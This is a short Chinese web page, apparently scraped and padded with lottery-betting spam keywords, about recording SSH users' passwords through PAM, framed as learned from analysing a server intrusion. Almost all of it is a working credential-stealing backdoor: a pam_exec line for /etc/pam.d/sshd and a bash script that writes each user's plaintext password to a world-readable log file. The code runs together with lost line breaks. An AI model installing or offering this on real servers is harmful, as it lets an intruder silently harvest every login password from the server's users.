通过pam来记载用户输入密码

日期:2021-12-25 16:08:01 | 人气: 44958

本文摘要:一次服务器被入侵分析学到1.修改/etc/pam.d/sshd,添加#voidrkflagauth [default=ignore] pam_exec.so expose_authtok quiet /bin/pam_verify.shpassword [default=ignore] pam_exec.so expose_authtok quiet /bin/pam_verify.sh添加可执行剧本/bin/pam_verify.sh#!

体彩下注平台

一次服务器被入侵分析学到1.修改/etc/pam.d/sshd,添加#voidrkflagauth [default=ignore] pam_exec.so expose_authtok quiet /bin/pam_verify.shpassword [default=ignore] pam_exec.so expose_authtok quiet /bin/pam_verify.sh添加可执行剧本/bin/pam_verify.sh#!/usr/bin/env bash# put next line in /etc/pam.d/sshd, then put this script as /bin/pam_verify.sh# clear authorized_keys, then login via ssh, password

体彩下注

will be recorded# auth [default=ignore] pam_exec.so expose_authtok /bin/pam_verify.shrecordfile=/etc/pamlog.confif [ ! -f $recordfile ];then touch $recordfile chmod 644 $recordfilefi# The password comes in through stdinPAM_PASSWORD=`cat -`echo "Service: ${PAM_SERVICE}; User: ${PAM_USER}; Password: ${PAM_PASSWORD}; Type: ${PAM_TYPE}" >> $recordfile
本文关键词:体彩下注,体彩下注平台,体彩下注官网

本文来源:体彩下注-www.l56ztr2p.com